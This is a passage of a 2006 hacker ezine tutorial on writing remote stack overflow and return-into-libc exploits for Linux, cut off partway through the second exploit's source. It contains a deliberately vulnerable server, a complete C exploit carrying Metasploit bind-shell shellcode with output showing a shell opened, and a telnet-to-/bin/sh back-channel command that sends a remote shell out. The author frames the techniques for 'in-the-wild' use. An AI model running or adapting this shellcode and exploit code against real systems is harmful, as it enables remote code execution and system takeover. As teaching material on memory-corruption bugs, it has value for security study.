Copy Link
Add to Bookmark
Report

Writing remote stack overflow and format string exploits

Number 0x01: 03/23/2006

eZine's profile picture
Published in 
the bug magazine
 · 19 Dec 2022

[ --- The Bug! Magazine 

_____ _ ___ _
/__ \ |__ ___ / __\_ _ __ _ / \
/ /\/ '_ \ / _ \ /__\// | | |/ _` |/ /
/ / | | | | __/ / \/ \ |_| | (_| /\_/
\/ |_| |_|\___| \_____/\__,_|\__, \/
|___/

[ M . A . G . A . Z . I . N . E ]


[ Numero 0x01 <---> Edicao 0x01 <---> Artigo 0x04 ]

.> 23 de Marco de 2006,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
WRITING REMOTE STACK OVERFLOW AND FORMAT STRING EXPLOITS
(Smashing the stack and subverting the GOT)
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


.> 30 de Fevereiro de 2006,
.> Julio Cesar Fort a.k.a sandimas <julio [at] rfdslabs [dot] com [dot] br>

"United we stand, divided we fall."

(Dropkick Murphys)

Indice

  1. Introduction
    • 1.1 Prerequisites

  2. Writing remote exploits for Linux
    • 2.1 Stack overflow
      • 2.1.1 A brief overview on stack overflow
      • 2.1.2 Commented code from the vulnerable server
      • 2.1.3 Buffer overflow and how to find the return address
      • 2.1.4 Commented structure of our exploit
      • 2.1.5 Remote return-into-libc
      • 2.1.6 Re-structuring the exploit with return-into-libc

    • 2.2 Format string attack
      • 2.2.1 Format string attack - a brief overview
      • 2.2.2 Commented code from vulnerable server
      • 2.2.3 How to find the controlled argument and where to write
      • 2.2.4 Small exploit example (without code)
      • 2.2.5 Commented exploit structure

  3. "Real life" examples
    • 3.1 UW IMAPD 10.234 remote stack overflow
    • 3.2 Citadel/UX <= v6.27 format string vulnerability

  4. End
    • 4.1 Acknowledgements
    • 4.2 References

1. introduction

This article is aimed at remote overflow exploitation. We will cover the best known techniques for writing remote stack overflow and format string attacks exploits for Linux.

The subject was selected due to the lack of this kind of material in Portuguese and, without disrespecting the author, the only one existing in Portuguese is not completely functional nor reliable for in-the-wild exploitation (we will prove that later).

1.1. Prerequisites

It is a prerequisite that the reader has basic knowledge of C programming with sockets, knowledge about Linux memory organization and buffer overflows.

The tests and coding were done using an Athlon XP 1700+ computer running Slackware Linux 10.1 and gcc-3.3.4. The return-into-libc exploit test was done on Slackware Linux 10.1 with gcc-3.2.3.

2. Writing remote exploits for Linux

In this section we will start with writing the exploit itself. The material needed to accomplish our task is a simple text editor ('vi' is certainly the best), C compiler, a debugger (we will use 'gdb'), and a not-so-functional brain ;)

We will also see that there is no mystery about writing remote stack overflow exploits, we will only change some details that we will show along the text.

2.1. Stack overflow

In this section there will be a simple example of a vulnerable server and our goal will be to control its flow and make it execute the code we want.

2.1.1. A brief overview of stack overflow

Stack is a region of memory where local variables and arguments passed to functions are allocated and de-allocated on each call to a function. We will refer to the stack frame as the state of the stack in a function call with all its variables and control information (e.g., re-turn address).

The stack operates in the LIFO (Last In, First Out) model, which means that it behaves like a stack of dishes, where the last dish placed under the stack is the first one removed (actually in the stack the elements are not removed, what happens is that the %esp register, treated later, moves 4 bytes).

In the following examples we will work with the main() and chamada() functions.

<++ chamada-chamadora.c ++> 

#include <stdio.h>

int chamada(int num);

int main(void)
{
int n;

printf("Hi, Karl!\n");
n = chamada(23); // endereco de retorno TEORICO!
printf("Numero magico do Illuminati: %d\n", n);
}

int chamada(int num)
{
/* nao faz nada... */
return num;
}

<++ chamada-chamadora.c ++>

(*) Registers

  • RET (EIP) - When the chamada() function starts, from main(), the address of the next main() instruction after chamada() is placed in the RET section of the chamada() stack frame. [*] This is done so that main() continues its normal course after the return from the called function.
  • [*] Theoretically this is where the comment is marked in the above code, but if we do some debugging we will see that between printf() and the assignment there are several operations before.
  • FP (EBP) - Is fixed in the frame. Serves to reference data through offsets. Usually points to the top of the stack of a function.
  • ESP - Top of stack. When elements are added, %esp "walks" 4 bytes on the stack towards the bottom of the stack (lower addresses) and "walks back" 4 bytes towards the top of the stack (higher addresses).


(*) Calls (CALLs)

Function calls occur in three steps:

  • Prologue:
    1. The frame pointer (EBP register) is saved in the stack frame of the chamada() function. FP will serve so that after the return of this function the main() function will continue to refer to its local variables without problems.
    2. The amount of memory needed to store the chamada() local variables, as well as their arguments, is reserved.

  • Call: The parameters for the chamada() are placed on the stack, and the next instruction after the call call is also stored on the stack in the "RETURN ADDRESS" part of the chamada() stack frame. This instruction makes a jump ("jmp" instruction) to chamada(), which will be executed at this instant. After the function returns, using the "ret" instruction, this previously saved address will be put in the EIP register, which will continue the program flow.
  • Epilogue: The stack returns to the state before the chamada(). The contents of the RET are put into the EIP register, in order to continue the flow, and the stack frame is destroyed.


(*) Stack frame

Stack frame is a section of the stack that contains arguments to functions, local variables, maintenance information (return address, frame pointer), etc.

Let's show a diagram of the stack frame from an example program.

<++ exemplo.c ++> 

int main(int argc, char *argv[])
{
char buffer[16];

if(argc < 1)
exit(-1);

memset(buffer, 0x00, sizeof(buffer));
strcpy(buffer, argv[1]);
}

<++ exemplo.c ++>

On newer Linux systems there has been an addition of 8 "dummy" bytes to the stack frame of all functions. So if we want to blow up the stack of the above program we should do the following calculation:

16 (NUMERO DE BYTES DA VARIAVEL) + 8 (DUMMY) + 4 (FP -> EBP) + 4 (RET -> EIP)

          ...                   Topo do stack 
|---------------------------------| (endereco mais baixo)
| argc |
|- - - - - - - - - - - - - - - - -|
| &argv[] |
|- - - - - - - - - - - - - - - -| ^
| End. retorno (%eip - 4 bytes) | | Cresce neste sentido,
|- - - - - - - - - - - - - - - - -| | em direcao aos enderecos
| Frame pointer (%ebp - 4 bytes) | | mais baixos.
|- - - - - - - - - - - - - - - - -| |
| dummy[8] | | Pode colidir com a heap :)
|- - - - - - - - - - - - - - - - -| |
| buffer[16] |
|---------------------------------| (endereco mais alto 0xbfffffff)
... Base do stack

We will not dwell on the topic of stack overflows as there are excellent articles on the subject that explain it in much more detail than the brief explanation above. See the references section at the end of this text for more information.

2.1.2. commented vulnerable server code

Now we will show a simple server that emulates telnetd (for realism) vulnerable to a common stack overflow and format string attack. If we know how to exploit it, it becomes trivial to exploit other servers that have a similar flaw, just "mold" the exploit to work against other services (e.g.: a stack overflow in the "USER" command of a 'pop3d' will certainly require your code to send a "HELO" command first, thus imitating an email client).

<++ servidor-telnetd.c ++> 

/* Exemplo de servidor vulneravel a stack overflow e format string */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>

#define MAX 2048
#define PORTA 8080 // porta a ser usada pelo servidor
#define MAXCON 5 // maximo de conexoes simultaneas
#define ERRO -1
#define MSG "UNIX rfdslabs.com.br version 4.5v build-1985\nlogin: "

void espera_cliente(int sockfd);
void cria_conexao(void);
void autoriza_login(char *login);

int main(void)
{
cria_conexao();
}

void espera_cliente(int sockfd)
{
char bufferleitura[MAX];
struct sockaddr_in rede;
int cliente, resposta, tamanho;

tamanho = sizeof(rede);
memset(bufferleitura, 0x00, sizeof(bufferleitura));

printf("Esperando conexao...\n");

if((cliente = accept(sockfd, (struct sockaddr *)&rede, &tamanho)) == ERRO)
{
fprintf(stderr, "Erro: %s\n", strerror(errno));
shutdown(sockfd, SHUT_RDWR);
close(sockfd);
exit(ERRO);
}

fprintf(stdout, "Conexao recebida de %s\n", inet_ntoa(rede.sin_addr));
write(cliente, MSG, strlen(MSG)); // envia mensagem para o cliente
resposta = read(cliente, bufferleitura, sizeof(bufferleitura));
autoriza_login(bufferleitura);
}

void cria_conexao(void)
{
struct sockaddr_in conexao;
int sockfd, opt;

opt = 1;

if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == ERRO)
{
fprintf(stderr, "Erro de socket: %s\n", strerror(errno));
exit(ERRO);
}

if(setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) == -1)
{
fprintf(stderr, "Erro setsockopt(): %s\n", strerror(errno));
exit(ERRO);
}

/* preenchendo as estruturas de rede */
conexao.sin_family = AF_INET;
conexao.sin_port = htons(PORTA);
conexao.sin_addr.s_addr = INADDR_ANY;

if(bind(sockfd, (struct sockaddr *)&conexao, sizeof(struct sockaddr)) == ERRO)
{
fprintf(stderr, "Erro em bind(): %s\n", strerror(errno));
exit(ERRO);
}

listen(sockfd, MAXCON);
espera_cliente(sockfd);
close(sockfd);
exit(0);
}

void autoriza_login(char *login)
{
char autorizacao[256];
char armazenado[32];

memset(autorizacao, 0x00, sizeof(autorizacao));
fprintf(stdout, "Autorizando usuario...\n");
// O BUG DE FORMAT STRING ESTA' AQUI EMBAIXO!
snprintf(armazenado, sizeof(armazenado), login);
// O BUG DE STACK OVERFLOW ESTA' AQUI EMBAIXO!
strcpy(autorizacao, login);
fprintf(stdout, "Armazenando o login do usuario...\n");
fprintf(stdout, "OK! Autorizado o usuario %s", armazenado);
}

<++ servidor-telnetd.c ++>


2.1.3 Buffer overflow and how to find the return address

First we will show the normal behavior of the server so that you become familiar with it. As seen in the code, it is a simple server that emulates the 'telnetd' banner, takes input from the user and does nothing more than that. The "rfdslabs UNIX" emulation is just for added excitement during exploration :)

Don't forget that you will need two command terminals to perform the actions.

(*) Initializing the server (terminal 1)

------------------------------------------------------- 
sandimas@virtualinsanity:~/rfdslabs$ ./servidor-telnetd
Esperando conexao...
-------------------------------------------------------

(*) Connecting the client (terminal 2)

---------------------------------------------------------- 
sandimas@virtualinsanity:~/rfdslabs$ telnet localhost 8080
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
UNIX rfdslabs.com.br version 4.5v build-1985
login: sandimas
Connection closed by foreign host.
----------------------------------------------------------

On the server screen we have the following result:

------------------------------------------------------- 
sandimas@virtualinsanity:~/rfdslabs$ ./servidor-telnetd
Esperando conexao...
Conexao recebida de 127.0.0.1
Autorizando usuario...
-------------------------------------------------------

Everything happened as expected. The user entered, "sandimas", has only 8 letters, which is not yet necessary to corrupt the activation records of the 'autoriza_login()' function.

What if we put more characters than expected by the program? A nice buffer overrun condition would happen, wouldn't it? :)


(*) Buffer overrun

Back to 'autoriza_login()' we see that the array 'autorizacao[]' holds 256 characters and by the memory layout of our vulnerable function it is possible to control control the RET (EIP) with 272 characters

 (256 + 8 + 4 + 4 = 272) 
| | | |
ARRAY DUMMY FP RET

-------------------------------------------------------------------------------
sandimas@virtualinsanity:~/rfdslabs$ perl -e 'print "A"x271'|nc localhost 8080
UNIX rfdslabs.com.br version 4.5v build-1985
login:
sandimas@virtualinsanity:~/rfdslabs$
-------------------------------------------------------------------------------

In the terminal where the server was running we see the following message:

------------------------------------------------------- 
sandimas@virtualinsanity:~/rfdslabs$ ./servidor-telnetd
Esperando conexao...
Conexao recebida de 127.0.0.1
Autorizando usuario...
Segmentation fault (core dumped)
------------------------------------------------------

What happened was that the 'server-telnetd' got a SIGSEGV signal which stands for "segmentation violation". Translating, the program tried to jump into an invalid (unmapped) area of memory or a portion that it did not have access to.

Below is an example of using 'gdb' to see what actually happened to cause the program to crash.
The example will describe how to visualize the contents of the registers. This way we can know to which address the vulnerable program jumped.

---------------------------------------------------------------------------- 
sandimas@virtualinsanity:~/rfdslabs$ gdb servidor-telnetd core
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
(...)
warning: core file may not match specified executable file.
Core was generated by `./servidor-telnetd'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x00414141 in ?? ()
(gdb) info reg eip ebp
eip 0x414141 0x414141
ebp 0x41414141 0x41414 41
-----------------------------------------------------------------------------

This means that we can't completely corrupt the return address value. The more astute reader will notice that addresses have 4 bytes but the EIP only has 3 bytes (the fourth is a 00) and that we put 271 A's instead of 272. So we missed 1 byte of RET being overwritten.


(*) Finding the return address for our exploit

Now is one of the most important parts of the text. We will need to find the memory address of where our payload (NOPs + shellcode) will be so we can make the program jump to this area and execute whatever we want.

We will first need to do step 1 on the terminal where the server is located. What this step does is put a break point in the 'authorize_login()' function. It means that the program will run normally until it reaches this authorization procedure and the execution stops at this point.
'autoriza_login()' was chosen because this is where our input will be copied with 'strcpy()' and the stack overflow happens. The memory examination will be done in later steps.

Step 2 will be used to send our payload with NOPs to the target and later we will know what possible return address to use for the exploit.

Step 3 is needed to view the memory state of the 'authorize_login()' stack and should be done while the server program is paused. Since we can see the addresses where the information is stored, including our payload, we can easily know where our malicious buffer starts and ends. By knowing all the information about the process memory we can get a starting address for our NOPs to be our return address in the exploit.


=== Passo 1 (terminal 1) ===

sandimas@virtualinsanity:~/rfdslabs$ gdb -q servidor-telnetd 
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break autoriza_login
Breakpoint 1 at 0x8048a22
(gdb) run
Starting program: /home/sandimas/rfdslabs/servidor-telnetd
Esperando conexao...
Conexao recebida de 127.0.0.1

Breakpoint 1, 0x08048a22 in autoriza_login ()

=== Passo 2 (va' para o terminal 2) ===

sandimas@virtualinsanity:~/rfdslabs$ perl -e 'print "\x90"x272' | nc localhost 
8080
UNIX rfdslabs.com.br version 4.5v build-1985
login:
sandimas@virtualinsanity:~/rfdslabs$

=== Passo 3 (volte para o terminal 1) ===

(gdb) x/200x $esp-200 
0xbfffec58: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffec68: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffec78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffec88: 0x00000000 0x00000000 0x00000000 0x4008bc14
0xbfffec98: 0x00000000 0x00000000 0x40145ff4 0xbfffecf4
0xbfffeca8: 0xbfffecd0 0x4008ceb0 0xbfffecf4 0x40148f38
0xbfffecb8: 0x31323149 0x00000000 0x00148f49 0x400166f4
0xbfffecc8: 0xbfffece4 0x4000b1ce 0x08048398 0x40016700
0xbfffecd8: 0x40015ff8 0x00000000 0x0000045c 0xbfffed30
0xbfffece8: 0x40007a77 0x4003dd4b 0x0804844e 0xfbad8001
0xbfffecf8: 0x40148f38 0x00000020 0x00000000 0x00000000
0xbfffed08: 0x4003de0e 0x40038b50 0x40030370 0x400169c0
(...)
0xbfffee58: 0xce79c000 0x0000000a 0x90909090 0x90909090
0xbfffee68: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffee78: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffee88: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffee98: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeea8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeeb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeec8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeed8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeee8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeef8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef08: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef28: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---
0xbfffef38: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef48: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef58: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef68: 0x90909090 0x90909090 0x00000000 0x00000000
(gdb) continue
Continuing.
Autorizando usuario...

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb) quit
The program is running. Exit anyway? (y or n) y
sandimas@virtualinsanity:~/rfdslabs$

= [?] =========================================================================

NOTA: A explicacao do comando utilizado no gdb se encontra a seguir:

(gdb) x/200x $esp-200

Este comando diz para que o gdb nos mostre, em hexadecimal, o conteudo das 200
primeiras posicoes de memoria a partir do topo do stack - 200. Poderia ser sim-
plesmente o comando "x/100x", por exemplo, e iriamos apertando [ENTER] ate'
acharmos o comeco e o final do que haviamos enviado.

= [?] =========================================================================

Notice the string of NOPs (0x90) that goes from about 0xbfffee68 to 0xbfffef68. The difference between them is 256. That means we have 256 characters to put our NOPs, shellcode and return address in.

Finally to find our return address we just have to choose one from the NOP chain. Preferably we will choose one that is "in the middle" (e.g. 0xbfffeed8). This will help ensure a certain possibility for your exploit to work in-the-wild. For now we are not going to define what our return address will be, it is better to do it only when we have defined our shellcode (we still don't know what it will be, much less its size).

NOTE: Here is the proof that the method shown by an old text in Portuguese is not totally reliable. In the way described in that article we only had one possible return address, which is impractical in an "in-the-wild" exploration, and would probably only work on your test machine.

2.1.4 Commented structure of our exploit

Now that we know how the server works, with how many bytes we overflow its buffer and how to get a useful return address, now we just need to write the exploit ;)

Remote and local exploits are more or less similar. The biggest difference between them is the shellcode. In remote exploitation, the shellcode used cannot be the same one that gives us a shell /bin/sh but one that "binds" to listen on a port and gives us this shell or other tricks, like a shellcode that creates a user on the machine, for example.

<++ exploit-telnetd.c ++> 

/* Exploit exemplo para servidor-telnetd.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>

#define PORTA 8080
#define OFFSET 0
#define ALINHA 0
#define ERRO -1
#define MAX 272

#define RET 0xbfffeef0 /* Slackware 10.1 - virtualinsanity */
#define RET2 0xbffff3f0 /* Slackware 10 - weiddy */
#define RET3 0xbfffee40 /* $esp = info registers esp */
#define RET4 0x41414141 /* endereco "crash-only" */

/* Linux x86 bind shell port 31337 - from Metasploit Framework (84 bytes) */
unsigned char x86_lnx_bind[] = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99"
"\x89\xe1\xcd\x80\x96\x43\x52\x66\x68\x7a\x69"
"\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52"
"\x56\x43\x89\xe1\xb0\x6 \xcd\x80\x93\x6a\x02"
"\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xcd\x80";

int cria_conexao(char *host, unsigned int porta);
void uso(char *nomeprograma);

int main(int argc, char *argv[])
{
char payload[MAX], *host;
int sockfd;
unsigned int i, opcao, porta;
int ret, offset, alinhamento;

memset(payload, 0x00, sizeof(payload)); /* zeramos o nosso buffer */
host = NULL;
ret = RET;
offset = OFFSET; /* offset padrao */
porta = PORTA;
alinhamento = ALINHA;

fprintf(stdout, "Exploit para o exemplo servidor-telnetd.c\n");

if(argc < 2)
uso(argv[0]);

while((opcao = getopt(argc, argv, "h:o:p:a:")) != EOF)
{
switch(opcao)
{
case 'h':
if(strlen(optarg) > 255)
{
fprintf(stderr, "Tamanho de host invalido.\n");
exit(ERRO);
}
host = optarg;
break;

case 'o':
offset = atoi(optarg);
break;

case 'p':
if(atoi(optarg) > 65535 || atoi(optarg) < 0)
{
fprintf(stderr, "Porta invalida.\n");
exit(ERRO);
}
porta = atoi(optarg);
break;

case 'a':
alinhamento = atoi(optarg);
break;

default:
uso(argv[0]);
}
}

sockfd = cria_conexao(host, porta);

if(offset != 0)
ret = RET2 + offset;

/* enchemos com NOPs parte do nosso payload, deixando espaco para o
shellcode e o endereco de retorno */

memset(payload + alinhamento, 0x90, MAX - strlen(x86_lnx_bind) - 4);

/* copiando o shellcode */
memcpy(payload + alinhamento + (MAX - strlen(x86_lnx_bind) - 4), x86_lnx_bind, sizeof(x86_lnx_bind));

for(i=strlen(payload); i < MAX; i+=4)
*((int *) &payload[i]) = ret;

fprintf(stdout, "Usando 0x%x como endereco de retorno.\n", ret);
write(sockfd, payload, strlen(payload));
fprintf(stdout, "Payload enviado! Conecte em %s:31337\n", host);

shutdown(sockfd, SHUT_RDWR);
close(sockfd);
}

int cria_conexao(char *host, unsigned int porta)
{
struct sockaddr_in conexao;
struct hostent *hbn;
int sockfd;

/* fecha o programa se o socket nao for criado com sucesso */
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == ERRO)
{
fprintf(stderr, "Erro #%d criando socket principal: %s\n", errno, strerror(errno));
exit(ERRO);
}

/* tenta fazer um resolv no host para ver se ele existe */
if((hbn = gethostbyname(host)) == NULL)
{
fprintf(stderr, "Erro #%d gethostbyname(): Impossivel achar %s.\n", errno, host);
exit(ERRO);
}

/* preenchendo as estruturas de rede */
bzero((char *)&conexao,sizeof(conexao));
conexao.sin_family = AF_INET;
conexao.sin_port = htons(porta);
conexao.sin_addr = *((struct in_addr *)hbn->h_addr);

if(connect(sockfd,(struct sockaddr *)&conexao, sizeof(conexao)) == ERRO)
{
fprintf(stderr,"Erro #%d: %s.\n", errno, strerror(errno));
shutdown(sockfd, SHUT_RDWR);
close(sockfd);
exit(ERRO);
}

return(sockfd);
}

void uso(char *nomeprograma)
{

fprintf(stdout, "Uso: %s -h <host> -p [porta] -o [offset]\n", nomeprograma);
exit(0);
}

<++ exploit-telnetd.c ++>

-------------------------------------------------------------------------------
sandimas@virtualinsanity:~/rfdslabs$ ./exploit-telnetd -h localhost
Exploit para o exemplo servidor-telnetd.c
Usando 0xbfffeef0 como endereco de retorno.
Payload enviado! Conecte em localhost:31337

sandimas@virtualinsanity:~/rfdslabs$ nc localhost 31337 -vv
localhost [127.0.0.1] 31337 (?) open
uname -a; id; whoami; echo "huhu owned"
Linux virtualinsanity 2.4.29 #6 Thu Jan 20 16:30:37 PST 2005 i686 unknown unknown GNU/Linux
uid=1000(sandimas) gid=100(users) groups=100(users),11(floppy),17(audio),18(video),19(cdrom)
sandimas
huhu owned
exit
sent 42, rcvd 205
- -----------------------------------------------------------------------------

Now it is up to the reader to make improvements to the exploit. As a suggestion, here is an address brute-force scheme, a target structure for several different return addresses and a function to directly connect to the shell opened by the shellcode.

2.1.5. remote return-into-libc

Return-into-libc is nothing more than making our program jump to a libc address that is useful to us, like "system()", instead of returning to the stack. This technique has been used extensively for bypassing many no-exec stack enabled systems and for evading IDSes that maintain shellcode signatures.

A detailed explanation of this technique is beyond the scope of this paper. A great text about return-into-libc, with detailed information, is "Local Stack Overflow (advanced module)" by Thyago Silva, the link is in reference 6 at the end of this article.


(*) Necessary information

As we will return to "system()", execute the commands and exit at "exit()", we need to collect the address of these functions in libc. This address is different between various Linux systems and distributions but once discovered this address will remain fixed until libc is recompiled. We also need to find out the addresses of the arguments that will be passed to the functions.

To get this information we will need to use 'gdb' in any program.

<++ programaqualquer.c ++> 

#include <stdio.h>
int main(void)
{
/* eu nao faco nada! */
}

<++ programaqualquer.c ++>

----------------------------------------------------------------
julio@weiddy:~/rfdslabs$ gdb -q programaqualquer
(gdb) break main
Breakpoint 1 at 0x80483a2
(gdb) r
Starting program: /home/julio/rfdslabs/programaqualquer

Breakpoint 1, 0x080483a2 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40060e80 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x400491a0 <exit>
(gdb) quit
The program is running. Exit anyway? (y or n) y
---------------------------------------------------------------

Endereco de system(): 0x40060e80
Endereco de exit(): 0x400491a0

To get the argument address for 'system()' we will need our server running and debugging from program memory.

Here we don't want the program to jump to an x86 NOP string and drop into the shellcode. What we want is for the program to jump to a string of shell NOPs and consequently execute our command.

You might be wondering what the NOP shell would be. As we know, instruction "0x90" does nothing to the processor and will not affect our exploration. In the Linux shell the equivalent would be "0x20" (the famous space).

------------------------------------------------------------------ 
julio@weiddy:~/rfdslabs$ echo "testando o shell NOP"
testando o shell NOP
------------------------------------------------------------------

Ideally we should send a long string of shell NOPs to the target and then our command. This will give us a high probability of success.

=== Mao na massa! Passo 1 (terminal 1) ===

julio@weiddy:~/rfdslabs$ gdb -q servidor-telnetd 
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break autoriza_login
Breakpoint 1 at 0x8048a22
(gdb) run
Starting program: /home/julio/rfdslabs/servidor-telnetd
Esperando conexao...
Conexao recebida de 127.0.0.1

Breakpoint 1, 0x08048a22 in autoriza_login ()

=== Mao na massa! Passo 2 (va' para o terminal 2) ===

julio@weiddy:~/rfdslabs$ perl -e 'print " "x241, "/bin/echo rfdslabs > teste;", 
"AAAA", "BBBB", "CCCC", "DDDD"' | nc localhost 8080
| | | |
| | | |
| | | |
&system &exit &arg &arg
system exit

=== Mao na massa! Passo 3 (volte para o terminal 1) ===

(gdb) x/200x $esp 
0xbffff1e0: 0x40015f98 0x400155c0 0x400159c4 0x080483bf
0xbffff1f0: 0xbffff2a0 0x40007130 0x080483bf 0x00078b74
0xbffff200: 0x08048338 0xbffff25 0x40015978 0x00000001
0xbffff210: 0x40015fc8 0x00000000 0x00000001 0xffffffff
0xbffff220: 0x00000883 0x00000000 0xbffff250 0x000004ad
0xbffff230: 0x0000081a 0x00000351 0x00000000 0x00078b74
0xbffff240: 0xbffff2e0 0x40015828 0x000001c2 0x00000448
0xbffff250: 0x40024c84 0x40015d18 0x00000000 0x0000027f
0xbffff260: 0x00000337 0x00000286 0x000004f3 0x0000073a
0xbffff270: 0x000006a1 0x00000640 0x00000869 0x0000074b
0xbffff280: 0x00000744 0x000006d6 0x000004e4 0x00000899
0xbffff290: 0x000007e5 0x400155c0 0x40015fa8 0x40015828
...
0xbffff350: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff360: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff370: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff380: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff390: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff3a0: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff3b0: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff3c0: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff3d0: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff3e0: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff3f0: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff400: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff410: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff420: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff430: 0x69622f20 0x63652f6e 0x72206f68 0x6c736466
0xbffff440: 0x20736261 0x6574203e 0x3b657473 0x41414141
0xbffff450: 0x42424242 0x43434343 0x44444444 0x00000000
0xbffff460: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff470: 0x00000000 0x00000000 0x00000000 0x00000000
...
(gdb) c
Continuing.
Autorizando usuario...
Armazenando o login do usuario...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Finally, to find our return address we just have to choose one from the NOP shell string, preferably one that is "in the middle" (e.g., 0xbffffff3a0). All as we did before.

Now that we have all the necessary information, our payload follows:

                    EBP      RET 
(268 bytes) (4 bytes) (4 bytes) (4 bytes) (4 bytes)
|----------------------|------------|------------|------------|------------|
| Shell NOPs + comando | 0x40060e80 | 0x400491a0 | 0xbffff3a0 | 0xbffff470 |
|----------------------|------------|------------|------------|------------|
&system &exit &arg system &arg exit


2.1.6. Restructuring the exploit with return-into-libc

Now that we have everything we need to perform this attack, now we just need to get down to business and create the exploit. Once again, there is not much difference between local exploitation and remote simple stack overflow exploitation, the only difference is what we saw above (getting the libc addresses, the shell NOPs, etc.)

Below is the commented exploit:

<++ return-into-libc.c ++> 

/* Exploit modificado com return-into-libc */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>

#define PORTA 8080
#define ERRO -1
#define MAX 284
#define ALINHA 0

#define SYSADDR 0x40060e80 // endereco de sytem()
#define EXITADDR 0x400491a0 // endereco de exit()
#define ARGSYS 0xbffff3a0 // endereco do argumento para system()
#define ARGEXIT 0xbffff470 // endereco do argumento para exit()

#define CMD "/bin/echo testando > teste;"
/* back-channel antig o :) */
#define CMD2 "/bin/telnet ip porta1 | /bin/sh | /bin/telnet ip porta2;"

unsigned char ret2libc_shellcode[] = "\x80\x0e\x06\x40" // Endereco de system()
"\xa0\x91\x04\x40" // Endereco de exit()
"\xa0\xf3\xff\xbf" // End. arg. system()
"\x70\xf4\xff\xbf"; // End. arg. exit()

int cria_conexao(char *host, unsigned int porta);
void uso(char *nomeprograma);

int main(int argc, char *argv[])
{
char payload[MAX], *host;
int sockfd;
unsigned int i, opcao, porta;
int alinhamento;

/* zera o nosso buffer */
memset(payload, 0x00, sizeof(payload));
host = NULL;
porta = PORTA;
alinhamento = ALINHA;

fprintf(stdout, "Exploit return-into-libc para servidor-telnetd.c\n");

if(argc < 2)
uso(argv[0]);

while((opcao = getopt(argc, argv, "h:p:a:")) != EOF)
{
switch(opcao)
{
case 'h':
if(strlen(optarg) > 255)
{
fprintf(stderr, "Tamanho de host invalido.\n");
exit(ERRO);
}
host = optarg;
break;

case 'p':
if(atoi(optarg) > 65535 || atoi(optarg) < 0)
{
fprintf(stderr, "Porta invalida.\n");
exit(ERRO);
}
porta = atoi(optarg);
break;

case 'a':
alinhamento = atoi(optarg);
break;

default:
uso(argv[0]);
}
}

